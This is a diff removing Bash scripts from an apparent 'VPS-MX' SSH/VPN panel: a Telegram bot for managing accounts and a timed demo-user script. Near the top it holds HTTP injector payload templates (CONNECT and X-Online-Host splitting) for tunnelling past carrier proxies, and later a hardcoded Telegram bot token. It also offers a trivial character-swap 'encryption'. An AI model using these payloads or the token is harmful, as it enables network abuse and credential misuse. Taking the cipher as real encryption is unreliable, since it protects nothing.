- CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost[crlf][crlf]
- [raw][crlf]X-Online-Host: mhost[crlf][crlf][raw][crlf]X-Online-Host: mhost/ [crlf][crlf]
- [raw][crlf]X-Online-Host: http://mhost[crlf][crlf]CONNECT[host_port] [protocol][crlf]X-Online-Host: mhost/ [crlf][crlf]
- CONNECT [host_port]@mhost/ HTTP/1.1[crlf]CONNECT mip:443 [crlf][crlf]
- CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf][split]GET mhost/ HTTP/1.1[cr][crlf][raw][crlf] [crlf][crlf]
- CONNECT [host_port]@mhost/ [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host:mhost[crlf][crlf]
- CONNECT [host_port]@mhost/ [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf]GET mip:443@mhost/ HTTP/1.1[crlf][crlf]
- CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost/ User-Agent: Yes[crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive Connection: Transfer-Encoding[crlf] [protocol][crlf]User-Agent: [ua][crlf][raw][auth][crlf][crlf][netData][crlf] [crlf][crlf]
- [raw][crlf]Host: mhost[crlf]GET http://mhost/ HTTP/1.1[crlf]X-Online-Host: mhost[crlf][crlf]' >$HOME/$1
-	}
-	fail_fun() {
-		local bot_retorno="$LINE \n"
-		bot_retorno+=" -->>> MODO DE USO \n"
-		bot_retorno+="$LINE \n"
-		bot_retorno+="/gerar $(fun_trans "Host") $(fun_trans "Solicitud") $(fun_trans "Conexion") \n"
-		bot_retorno+="$(fun_trans "Ejemplo"): \n"
-		bot_retorno+="/gerar www.host.com (1 a 9) (1 a 3) \n"
-		bot_retorno+="/gerar www.host.com 2 1 \n"
-		bot_retorno+="$LINE \n"
-		bot_retorno+="$(fun_trans "Metodos Solicitud") \n${LINE} \n1-GET, 2-CONNECT, 3-PUT, 4-OPTIONS, 5-DELETE, 6-HEAD, 7-TRACE, 8-PROPATCH, 9-PATCH \n"
-		bot_retorno+="$LINE \n"
-		bot_retorno+="$(fun_trans "Metodos Conexion") \n${LINE} \n1-REALDATA, 2-NETDATA, 3-RAW \n"
-		bot_retorno+="$LINE \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno)" \
-		--parse_mode markdown
-		unset bot_retorno
-		return 0
-	}
-	valor1="$1"        #Entrada Host
-	valor2="127.0.0.1" #Entrada IP
-	valor3="$2"        #Metodo Requisicao
-	valor4="$3"        #Metodo Conexao
-	[[ "$1" = "" ]] && fail_fun && return 0
-	[[ "$2" = "" ]] && fail_fun && return 0
-	[[ "$3" = "" ]] && fail_fun && return 0
-	case $valor3 in
-	1) req="GET" ;;
-	2) req="CONNECT" ;;
-	3) req="PUT" ;;
-	4) req="OPTIONS" ;;
-	5) req="DELETE" ;;
-	6) req="HEAD" ;;
-	7) req="PATCH" ;;
-	8) req="POST" ;;
-	*) req="GET" ;;
-	esac
-	case $valor4 in
-	1) in="realData" ;;
-	2) in="netData" ;;
-	3) in="raw" ;;
-	*) in="netData" ;;
-	esac
-	gerar_pays Payloads.txt
-	sed -i "s;realData;abc;g" $HOME/Payloads.txt
-	sed -i "s;netData;abc;g" $HOME/Payloads.txt
-	sed -i "s;raw;abc;g" $HOME/Payloads.txt
-	sed -i "s;abc;$in;g" $HOME/Payloads.txt
-	sed -i "s;GET;$req;g" $HOME/Payloads.txt
-	sed -i "s;get;$req;g" $HOME/Payloads.txt
-	sed -i "s;mhost;$valor1;g" $HOME/Payloads.txt
-	sed -i "s;mip;$valor2;g" $HOME/Payloads.txt
-	if [[ -e $HOME/Payloads.txt ]]; then
-		local bot_retorno="$LINE \n"
-		bot_retorno+="$(fun_trans "PAYLOADS GERADAS CON EXITO") \n"
-		bot_retorno+="$LINE \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno)" \
-		--parse_mode markdown
-		local bot_retorno2
-		ShellBot.sendDocument --chat_id ${message_chat_id[$id]} \
-		--document @$HOME/Payloads.txt
-		return 0
-	else
-		local bot_retorno="$LINE \n"
-		bot_retorno+="$(fun_trans "PAYLOADS NO GERADAS") \n"
-		bot_retorno+="$(fun_trans "Algun  Error") \n"
-		bot_retorno+="$LINE \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno)" \
-		--parse_mode markdown
-		return 0
-	fi
-}
-scan_fun() {
-	error_fun() {
-		local bot_retorno="$LINE \n"
-		bot_retorno+=" -->>> MODO DE USO \n"
-		bot_retorno+="$LINE \n"
-		bot_retorno+="Ejemplo: /scan www.host.com \n"
-		bot_retorno+="$LINE \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno)" \
-		--parse_mode markdown
-		return 0
-	}
-	[[ -z $1 ]] && error_fun && return 0
-	local HOST=$1
-	local RETURN=$(curl -sSL "$HOST" | grep -Eoi '<a [^>]+>' | grep -Eo 'href="[^ \"]+"' | grep -Eo '(http|https)://[a-zA-Z0-9./*]+' | sort -u | uniq)
-	if [[ -z $RETURN ]]; then
-		local bot_retorno="$LINE \n"
-		bot_retorno+="$(fun_trans "Ningun Host Encontrado en Dominio"): ${1} \n"
-		bot_retorno+="$LINE \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno)" \
-		--parse_mode markdown
-		return 0
-	else
-		i=1
-		local bot_retorno="$LINE \n"
-		bot_retorno+="$(fun_trans "SUBDOMINIOS ENCONTRADOS") \n$LINE \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno)" \
-		--parse_mode markdown
-		unset bot_retorno
-		while read hostreturn; do
-			local bot_retorno+="$hostreturn \n"
-			if [[ $i -gt 20 ]]; then
-				ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-				--text "*$(echo -e $bot_retorno)*" \
-				--parse_mode markdown
-				unset bot_retorno
-				unset i
-			fi
-			let i++
-		done <<<"$RETURN"
-		[[ ! -z $bot_retorno ]] && {
-			ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-			--text "*$(echo -e $bot_retorno)*" \
-			--parse_mode markdown
-		}
-	fi
-}
-
-openadd_fun() {
-	[[ $(dpkg --get-selections | grep -w "openvpn" | head -1) ]] || return 0
-	[[ -e /etc/openvpn/openvpn-status.log ]] || return 0
-	newclient "$nomeuser" "$senhauser"
-	[[ -z $1 ]] && client="adm" || client="$1"
-	cp /etc/openvpn/client-common.txt $HOME/$client.ovpn
-	echo "<key>
- $(cat /etc/openvpn/client-key.pem)
- </key>
- <cert>
- $(cat /etc/openvpn/client-cert.pem)
- </cert>
- <ca>
- $(cat /etc/openvpn/ca.pem)
- </ca>" >>$HOME/$client.ovpn
-	[[ ! -z $1 ]] && [[ ! -z $2 ]] && sed -i "s;auth-user-pass;<auth-user-pass> \n$1 \n$2 \n</auth-user-pass>;g" $HOME/$client.ovpn
-	local bot_retorno="$LINE \n"
-	bot_retorno+="$(fun_trans "Para Generar Archivos Con Autenticación Automatica Utilice"): \n/openadd usuario senha \n$LINE \n"
-	bot_retorno+="$(fun_trans "ARCHIVO OPENVPN GENERADO CON EXITO") \n"
-	bot_retorno+="$LINE \n"
-	ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-	--text "$(echo -e $bot_retorno)" \
-	--parse_mode markdown
-	local bot_retorno2
-	ShellBot.sendDocument --chat_id ${message_chat_id[$id]} \
-	--document @$HOME/$client.ovpn
-	rm $HOME/$client.ovpn
-	return 0
-}
-cript_fun() {
-	if [[ -z $2 ]]; then
-		local bot_retorno="$LINE \n"
-		bot_retorno+="$(fun_trans "Modo de uso"): \n"
-		bot_retorno+="/criptar texto_for_cript \n"
-		bot_retorno+="$LINE \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "_$(echo -e $bot_retorno)_" \
-		--parse_mode markdown
-		return 0
-	else
-		local array=($@)
-		for ((i = 1; i <= ${#array[@]}; i++)); do
-			unset txtofus
-			local number=$(expr length "${array[$i]}")
-			for ((e = 1; e < $number + 1; e++)); do
-				local txt[$e]=$(echo "${array[$i]}" | cut -b $e)
-				case ${txt[$e]} in
-				".") txt[$e]="#" ;;
-				"#") txt[$e]="." ;;
-				"1") txt[$e]="%" ;;
-				"%") txt[$e]="1" ;;
-				"2") txt[$e]="?" ;;
-				"?") txt[$e]="2" ;;
-				"3") txt[$e]="&" ;;
-				"&") txt[$e]="3" ;;
-				"/") txt[$e]="!" ;;
-				"!") txt[$e]="/" ;;
-				"a") txt[$e]="k" ;;
-				"k") txt[$e]="a" ;;
-				"s") txt[$e]="w" ;;
-				"w") txt[$e]="s" ;;
-				"h") txt[$e]="y" ;;
-				"y") txt[$e]="h" ;;
-				"o") txt[$e]="P" ;;
-				"P") txt[$e]="o" ;;
-				"v") txt[$e]="T" ;;
-				"T") txt[$e]="v" ;;
-				"f") txt[$e]="Z" ;;
-				"Z") txt[$e]="f" ;;
-				esac
-				txtofus+="${txt[$e]}"
-			done
-			[[ -z $returntxt ]] && returntxt="$(echo $txtofus | rev)" || returntxt="$returntxt $(echo $txtofus | rev)"
-		done
-		unset txtofus
-		local bot_retorno="$LINE \n"
-		bot_retorno+="$(fun_trans "SU TEXTO ENCRIPTADO O DESCRIPTADO"): \n"
-		bot_retorno+="$LINE \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "*$(echo -e $bot_retorno)*" \
-		--parse_mode markdown
-		local bot_retorno="$returntxt \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "_$(echo -e $bot_retorno)_" \
-		--parse_mode markdown
-	fi
-}
-language_fun() {
-	if [[ -z $2 || -z $3 ]]; then
-		local bot_retorno="$LINE \n"
-		bot_retorno+=" -->>> MODO DE USO \n"
-		bot_retorno+="$LINE \n"
-		bot_retorno+="/lang (pt, fr, es, en...) (text) \n"
-		bot_retorno+="/lang es Hello \n"
-		bot_retorno+="$LINE \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "_$(echo -e $bot_retorno)_" \
-		--parse_mode markdown
-		return 0
-	else
-		local array=($@)
-		local RETORNO
-		for ((i = 2; i <= ${#array[@]}; i++)); do
-			local RET=$(source trans -b :$2 "${array[$i]}")
-			[[ -z $RETORNO ]] && RETORNO=$RET || RETORNO="$RETORNO $RET"
-		done
-		local bot_retorno="$LINE \n"
-		bot_retorno+="* Su Traduccion: * \n"
-		bot_retorno+="$LINE \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "*$(echo -e $bot_retorno)*" \
-		--parse_mode markdown
-		bot_retorno="$(echo $RETORNO | sed -e 's/[^a-z0-9 -]//ig') \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "_$(echo -e $bot_retorno)_" \
-		--parse_mode markdown
-		return 0
-	fi
-}
-teste_fun() {
-	local bot_retorno="$LINE \n"
-	bot_retorno+="$(fun_trans "USUARIO"): ${chatuser} \n"
-	bot_retorno+="$(fun_trans "ARGUMENTOS"): ${comando[@]} \n"
-	bot_retorno+="$LINE \n"
-	ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-	--text "_$(echo -e $bot_retorno)_" \
-	--parse_mode markdown
-	#local bot_retorno="$LINE \n"
-	#          bot_retorno+="$(fun_trans "ESSE USUARIO"): ${chatuser} \n"
-	#          bot_retorno+="$(fun_trans "ESSES ARGUMENTOS"): ${comando[@]} \n"
-	#          bot_retorno+="$LINE \n"
-	#          ShellBot.editMessageText --chat_id ${message_chat_id[$id]} --message_id ${reply_to_message_message_id[$id]} --text "$(echo -e $bot_retorno)" --parse_mode markdown
-	#return 0
-}
-
-## RENOVAR USUSARIO
-
-renew_user_fun() {
-	#nome dias
-	fail_fun() {
-		local bot_retorno="*$LINE* \n"
-		bot_retorno+=" -->>> MODO DE USO \n"
-		bot_retorno+="*$LINE* \n"
-		bot_retorno+="/renovar usuario dias \n"
-		bot_retorno+="_Ejemplo:_ \n"
-		bot_retorno+="/renovar CARLOS 30 \n"
-		bot_retorno+="*$LINE* \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno)" \
-		--parse_mode markdown
-		unset bot_retorno
-		return 0
-	}
-	[[ "$1" = "" ]] && fail_fun && return 0
-	[[ "$2" = "" ]] && fail_fun && return 0
-	error_fun() {
-		local bot_retorno="*$LINE* \n"
-		bot_retorno+="*❗️ USUARIO NO REGISTRADO  ❗️* \n"
-		bot_retorno+="*$LINE* \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno)" \
-		--parse_mode markdown
-
-		return 0
-	}
-
-	[[ -z $1 ]] && error_fun && return 0
-	cup1="$1"
-	userva="$(cat /etc/VPS-MX/VPS-MXuser | grep -w "$cup1" | cut -d'|' -f1)"
-
-	[[ -z $userva ]] && error_fun && return 0
-
-	datexp=$(date "+%F" -d " + $2 days") && valid=$(date '+%C%y-%m-%d' -d " + $2 days")
-	chage -E $valid $1 2>/dev/null || return 1
-	[[ -e ${USRdatabase} ]] && {
-		newbase=$(cat ${USRdatabase} | grep -w -v "$1")
-		useredit=$(cat ${USRdatabase} | grep -w "$1")
-		pass=$(echo $useredit | cut -d'|' -f2)
-		limit=$(echo $useredit | cut -d'|' -f4)
-		echo "$1|$pass|${datexp}|$limit" >${USRdatabase}
-		for value in $(echo ${newbase}); do
-			echo $value >>${USRdatabase}
-		done
-	}
-
-	NOM=$(less /etc/VPS-MX/controlador/nombre.log) >/dev/null 2>&1
-	NOM1=$(echo $NOM) >/dev/null 2>&1
-	IP="$(cat /etc/VPS-MX/MEUIPvps)"
-
-	local bot_retorno="*$LINE* \n"
-	bot_retorno+="*CUENTA RENOVADA*  \n"
-	bot_retorno+="*$LINE* \n"
-	bot_retorno+="▪️ _Usuario:_ *$1*  \n"
-	bot_retorno+="▪️ _Dias Agregados:_  *$2*  \n"
-	bot_retorno+="🕰 _Ahora expira:_ \n👉 *$datexp*  \n"
-	bot_retorno+="*$LINE* \n"
-	bot_retorno+="▪️ _VPS: _ *$NOM1*  \n"
-	bot_retorno+="▪️ _IP:_ *$IP*  \n"
-	bot_retorno+="*$LINE* \n"
-	ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-	--text "$(echo -e $bot_retorno)" \
-	--parse_mode markdown
-
-}
-
-#INFO SSH
-
-info_sshp() {
-	error_fun() {
-		local bot_retorno="*$LINE* \n"
-		bot_retorno+="*MODO DE USO:* \n"
-		bot_retorno+="*$LINE* \n"
-		bot_retorno+="Pon el Comando /SSHI (INGRESA NOMBRE DE USUARIO)  \n"
-		bot_retorno+="*$LINE* \n"
-		bot_retorno+="_Ejemplo: /SSHI NetVPS-xzcmo _ \n"
-		bot_retorno+="*$LINE* \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno)" \
-		--parse_mode markdown
-		return 0
-	}
-
-	[[ -z $1 ]] && error_fun && return 0
-
-	VPSsec=$(date +%s)
-
-	sen=$(cat /etc/VPS-MX/VPS-MXuser | grep -w "$1" | cut -d '|' -f2)
-	[[ -z $sen ]] && sen="???"
-	DateExp="$(cat /etc/VPS-MX/VPS-MXuser | grep -w "$1" | cut -d'|' -f3)"
-	if [[ ! -z $DateExp ]]; then
-		DataSec=$(date +%s --date="$DateExp")
-		[[ "$VPSsec" -gt "$DataSec" ]] && EXPTIME="${red}[EXPIRADA]" || EXPTIME="${gren}[$(($(($DataSec - $VPSsec)) / 86400))]"
-	else
-		EXPTIME="???"
-	fi
-	limit=$(cat /etc/VPS-MX/VPS-MXuser | grep -w "$1" | cut -d '|' -f4)
-	[[ -z $limit ]] && limit="???"
-
-	local bot_retorno="*$LINE* \n"
-	bot_retorno+="*📝 INFO GENERAL SSH 📝* \n"
-	bot_retorno+="*$LINE* \n"
-	bot_retorno+="▪️ Usuario: *$1 * \n"
-	#bot_retorno+="$(fun_trans "Contraseña"): $sen \n"
-	bot_retorno+="▪️ Dias Restantes: *$EXPTIME * \n"
-	bot_retorno+="▪️ Limite de Usuarios: *$limit * \n"
-	bot_retorno+="*$LINE* \n"
-	ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-	--text "$(echo -e $bot_retorno)" \
-	--parse_mode markdown
-
-	return 0
-}
-## PID DROPBEAR
-
-droppids() {
-	local pids
-	local port_dropbear=$(ps aux | grep dropbear | awk NR==1 | awk '{print $17;}')
-	cat /var/log/auth.log | grep "$(date | cut -d' ' -f2,3)" >/var/log/authday.log
-	#cat /var/log/auth.log|tail -1000 > /var/log/authday.log
-	local log=/var/log/authday.log
-	local loginsukses='Password auth succeeded'
-	[[ -z $port_dropbear ]] && return 1
-	for port in $(echo $port_dropbear); do
-		for pidx in $(ps ax | grep dropbear | grep "$port" | awk -F" " '{print $1}'); do
-			pids="${pids}$pidx \n"
-		done
-	done
-	for pid in $(echo -e "$pids"); do
-		pidlogs=$(grep $pid $log | grep "$loginsukses" | awk -F" " '{print $3}')
-		i=0
-		for pidend in $pidlogs; do
-			let i++
-		done
-		if [[ $pidend ]]; then
-			login=$(grep $pid $log | grep "$pidend" | grep "$loginsukses")
-			PID=$pid
-			user=$(echo $login | awk -F" " '{print $10}' | sed -r "s/'//g")
-			waktu=$(echo $login | awk -F" " '{print $2"-"$1,$3}')
-			[[ -z $user ]] && continue
-			echo "$user|$PID|$waktu"
-		fi
-	done
-}
-
-## B/U USER
-blo_unb_fun() {
-	error_fun() {
-		local bot_retorno="*$LINE* \n"
-		bot_retorno+="*MODO DE USO:* \n"
-		bot_retorno+="*$LINE* \n"
-		bot_retorno+="Pon el Comando /bloquear (INGRESA NOMBRE DE USUARIO)  \n"
-		bot_retorno+=" \t---- O -----  \n"
-		bot_retorno+="Pon el Comando /desbloquear (INGRESA NOMBRE DE USUARIO)  \n"
-		bot_retorno+="*$LINE* \n"
-		bot_retorno+="_Ejemplo: bloquear Ale2020 _ \n"
-		bot_retorno+="_Ejemplo: desbloquear Ale2020 _ \n"
-		bot_retorno+="*$LINE* \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno)" \
-		--parse_mode markdown
-		return 0
-	}
-
-	[[ -z $1 ]] && error_fun && return 0
-	local USRloked="/etc/VPS-MX/VPS-MX-userlock"
-	local LIMITERLOG="${USRdatabase}/Limiter.log"
-	local LIMITERLOG2="${USRdatabase}/Limiter2.log"
-	if [[ $2 = "-loked" ]]; then
-		[[ $(cat ${USRloked} | grep -w "$1") ]] && return 1
-		echo " $1 (BLOCK-MULTILOGIN) $(date +%r--%d/%m/%y)"
-		limseg="$(less /etc/VPS-MX/controlador/tiemdes.log)"
-		KEY="2012880601:AAEJ3Kk18PGDzW57LpTMnVMn_pQYQKW3V9w"
-		URL="https://api.telegram.org/bot$KEY/sendMessage"
-		MSG="⚠️ AVISO DE VPS: $NOM1 ⚠️
- 🔹 CUENTA: $1 
- ❗️📵 BLOCK FIJO/TEMPORAL 📵❗️
- 🔓( AUTOUNLOCK EN $limseg SEGUNDOS) 🔓"
-		curl -s --max-time 10 -d "chat_id=$IDB1&disable_web_page_preview=1&text=$MSG" $URL &>/dev/null
-
-		pkill -u $1 &>/dev/null
-
-	fi
-	if [[ $(cat ${USRloked} | grep -w "$1") ]]; then
-		usermod -U "$1" &>/dev/null
-		local bot_retorno="*$LINE* \n"
-		bot_retorno+="*⭕️ UNLOCK USUARIO ⭕️* \n"
-		bot_retorno+="*$LINE* \n"
-		bot_retorno+="▪️ _Usuario:_ *$1 * _Desbloqueado_ \n"
-		bot_retorno+="*$LINE* \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno)" \
-		--parse_mode markdown
-
-		[[ -e ${USRloked} ]] && {
-			newbase=$(cat ${USRloked} | grep -w -v "$1")
-			[[ -e ${USRloked} ]] && rm ${USRloked}
-			for value in $(echo ${newbase}); do
-				echo $value >>${USRloked}
-			done
-		}
-		[[ -e ${LIMITERLOG} ]] && [[ $(cat ${LIMITERLOG} | grep -w "$1") ]] && {
-			newbase=$(cat ${LIMITERLOG} | grep -w -v "$1")
-			[[ -e ${LIMITERLOG} ]] && rm ${LIMITERLOG}
-			for value in $(echo ${newbase}); do
-				echo $value >>${LIMITERLOG}
-				echo $value >>${LIMITERLOG}
-
-			done
-
-		}
-		return 1
-	else
-		usermod -L "$1" &>/dev/null
-		pkill -u $1 &>/dev/null
-
-		droplim=$(droppids | grep -w "$1" | cut -d'|' -f2)
-		kill -9 $droplim &>/dev/null
-
-		echo $1 >>${USRloked}
-
-		local bot_retorno="*$LINE* \n"
-		bot_retorno+="*❌ BLOCK USUARIO ❌* \n"
-		bot_retorno+="*$LINE* \n"
-		bot_retorno+="▪️ _Usuario:_ *$1 * _Bloqueado_ \n"
-		bot_retorno+="*$LINE* \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno)" \
-		--parse_mode markdown
-		#notifi &>/dev/null
-		return 0
-	fi
-
-}
-
-###LECTURA DE USER BLOC
-
-userblock_lee() {
-
-	local HOST="/etc/VPS-MX/VPS-MX-userlock"
-	local RETURN=$(cat $HOST)
-	if [[ -z $RETURN ]]; then
-		local bot_retorno="$LINE \n"
-		bot_retorno+="NINGUN USUARIO BLOQUEADO \n"
-		bot_retorno+="$LINE \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno)" \
-		--parse_mode markdown
-		return 0
-	else
-		i=1
-		local bot_retorno="*$LINE* \n"
-		bot_retorno+="* ❌ USUARIOS BLOQUEADOS ❌* \n$LINE \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno)" \
-		--parse_mode markdown
-		unset bot_retorno
-		while read hostreturn; do
-			local bot_retorno+="$hostreturn \n"
-			if [[ $i -gt 25 ]]; then
-				ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-				--text "*$(echo -e $bot_retorno)*" \
-				--parse_mode markdown
-				unset bot_retorno
-				unset i
-			fi
-			let i++
-		done <<<"$RETURN"
-		[[ ! -z $bot_retorno ]] && {
-			ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-			--text "*$(echo -e $bot_retorno)*" \
-			--parse_mode markdown
-		}
-	fi
-
-	local bot_retorno="*$LINE* \n"
-	bot_retorno+="ESTOS SON USUARIOS CON BAN \n"
-	bot_retorno+="*$LINE* \n"
-	ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-	--text "*$(echo -e $bot_retorno)*" \
-	--parse_mode markdown
-
-	return 0
-}
-backups() {
-	[[ ! -z ${callback_query_message_chat_id[$id]} ]] && var=${callback_query_message_chat_id[$id]} || var=${message_chat_id[$id]}
-	local bot_retorno="$LINE \n"
-	bot_retorno+="ᨉBACKUP DE USUARIOSᨉ \n"
-	bot_retorno+="$LINE \n"
-	ShellBot.sendMessage --chat_id $var \
-	--text "*$(echo -e $bot_retorno)*" \
-	--parse_mode markdown
-	cp ${USRdatabase} $HOME/VPS-MX-Backup-User
-	ShellBot.sendDocument --chat_id $var \
-	--document @$HOME/VPS-MX-Backup-User
-
-	#rm $HOME/VPS-MX-Backup
-	return 0
-}
-
-restabackup() {
-	dirbackup="/root/VPS-MX-Backup-User"
-	local msj
-	VPSsec=$(date +%s)
-	while read line; do
-		nome=$(echo ${line} | cut -d'|' -f1)
-		[[ $(echo $(mostrar_usuarios) | grep -w "$nome") ]] && {
-			msj="$nome [ERROR] \n"
-			[[ ! -z ${callback_query_message_chat_id[$id]} ]] && var=${callback_query_message_chat_id[$id]} || var=${message_chat_id[$id]}
-			ShellBot.sendMessage --chat_id $var \
-			--text "*$(echo -e $msj)*" \
-			--parse_mode markdown
-			continue
-		}
-
-		senha=$(echo ${line} | cut -d'|' -f2)
-		DateExp=$(echo ${line} | cut -d'|' -f3)
-		DataSec=$(date +%s --date="$DateExp")
-		[[ "$VPSsec" -lt "$DataSec" ]] && dias="$(($(($DataSec - $VPSsec)) / 86400))" || dias="NP"
-		limite=$(echo ${line} | cut -d'|' -f4)
-
-		add_user "$nome" "$senha" "$dias" "$limite" &>/dev/null && msj="$nome [CUENTA VALIDA] \n" || msj="$nome [CUENTA INVALIDA FECHA EXPIRADA] \n"
-		[[ ! -z ${callback_query_message_chat_id[$id]} ]] && var=${callback_query_message_chat_id[$id]} || var=${message_chat_id[$id]}
-		ShellBot.sendMessage --chat_id $var \
-		--text "*$(echo -e $msj)*" \
-		--parse_mode markdown
-	done <${dirbackup}
-	return 0
-}
-
-# LOOP ESCUTANDO O TELEGRAN
-while true; do
-	ShellBot.getUpdates --limit 100 --offset $(ShellBot.OffsetNext) --timeout 30
-	for id in $(ShellBot.ListUpdates); do
-		chatuser="$(echo ${message_chat_id[$id]} | cut -d'-' -f2)"
-		echo $chatuser >&2
-		comando=(${message_text[$id]})
-		case ${comando[0]} in
-		/[Tt]este | [Tt]este) teste_fun & ;;
-		/[Aa]juda | [Aa]juda | [Hh]elp | /[Hh]elp) ajuda_fun & ;;
-		/[Ss]tart | [Ss]tart | [Cc]omecar | /[Cc]omecar) ajuda_fun & ;;
-		/[Ss]SHI | [Ss]SHI) info_sshp "${comando[1]}" & ;;
-		/[Aa]DMIN | [Aa]DMIN) ativarid_fun "${comando[1]}" "${comando[2]}" "$chatuser" ;;
-		*) if [[ ! -z $LIBERADOS ]] && [[ $(echo ${LIBERADOS} | grep -w "${chatuser}") ]]; then
-			case ${comando[0]} in
-
-			##PANEL SSH
-
-			[Oo]nline | /[Oo]nline | [Oo]nlines | /[Oo]nlines) online_fun & ;;
-			[Cc]riptar | /[Cc]riptar | [Cc]ript | /[Cc]ript) cript_fun "${comando[@]}" & ;;
-			[Aa]gregar | /[Aa]gregar) useradd_fun "${comando[1]}" "${comando[2]}" "${comando[3]}" "${comando[4]}" & ;;
-			[Ee]liminar | /[Ee]liminar) userdell_fun "${comando[1]}" & ;;
-			[Rr]enovar | /[Rr]enovar) renew_user_fun "${comando[1]}" "${comando[2]}" & ;;
-			[Bb]loquear | /[Bb]loquear) blo_unb_fun "${comando[1]}" & ;;
-			[Dd]esbloquear | /[Dd]esbloquear) blo_unb_fun "${comando[1]}" & ;;
-			[Vv]erbloqueados | /[Vv]erbloqueados) userblock_lee & ;;
-				##HERRAMIENTAS
-			[Aa]dmins | /[Aa]dmins) loguin_fun & ;;
-			[Ii]nfovps | /[Ii]nfovps) infovps & ;;
-			[Bb]ackup | /[Bb]ackup) backups & ;;
-			[Rr]estarbackup | /[Rr]estarbackup) restabackup & ;;
-			[Ll]ang | /[Ll]ang) language_fun "${comando[@]}" & ;;
-			[Oo]penadd | /[Oo]penadd | [Oo]pen | /[Oo]pen) openadd_fun "${comando[1]}" "${comando[2]}" & ;;
-			[Gg]erar | /[Gg]erar | [Pp]ay | /[Pp]ay) paygen_fun "${comando[1]}" "${comando[2]}" "${comando[3]}" & ;;
-			[Uu]suarios | /[Uu]suarios | [Uu]ser | /[Uu]ser) info_fun & ;;
-			[Ss]can | /[Ss]can) scan_fun "${comando[1]}" & ;;
-
-			*) ajuda_fun ;;
-
-			esac
-		else
-			[[ ! -z "${comando[0]}" ]] && blockfun &
-		fi ;;
-		esac
-	done
-done

+ 0 - 89
SCRIPT-v8.5x Mod/VPS-MX/herramientas/Crear-Demo.sh

@@ -1,89 +0,0 @@
-#!/bin/bash
- #24/01/2021
- clear
- clear
- msg -bar
- rm -rf /etc/VPS-MX/demo-ssh 2>/dev/null
- mkdir /etc/VPS-MX/demo-ssh 2>/dev/null
- SCPdir="/etc/VPS-MX"
- SCPusr="${SCPdir}/controlador"
- 
- declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
- SCPdir="/etc/VPS-MX"
- SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && exit
- SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPinst} ]] && exit
- 
- tmpusr () {
- time="$1"
- timer=$(( $time * 60 ))
- timer2="'$timer's"
- echo "#!/bin/bash
- sleep $timer2
- kill"' $(ps -u '"$2 |awk '{print"' $1'"}') 1> /dev/null 2> /dev/null
- userdel --force $2
- rm -rf /tmp/$2
- exit" > /tmp/$2
- }
- 
- tmpusr2 () {
- time="$1"
- timer=$(( $time * 60 ))
- timer2="'$timer's"
- echo "#!/bin/bash
- sleep $timer2
- kill=$(dropb | grep "$2" | awk '{print $2}')
- kill $kill
- userdel --force $2
- rm -rf /tmp/$2
- exit" > /tmp/$2
- }
- echo  -e "$(msg -tit)$(msg -bar) " 
- msg -ama "        CREAR USUARIO POR TIEMPO (Minutos)"
- msg -bar
- echo -e "\033[1;97m Los Usuarios que cres en esta opcion se eliminaran\n automaticamete pasando el tiempo designado.\033[0m"
- msg -bar
- 
- echo -e "\033[1;91m [1]-\033[1;97mNombre del usuario:\033[0;37m"; read -p " " name
- if [[ -z $name ]]
- then
- echo "No a digitado el Nuevo Usuario"
- exit
- fi
- if cat /etc/passwd |grep $name: |grep -vi [a-z]$name |grep -v [0-9]$name > /dev/null
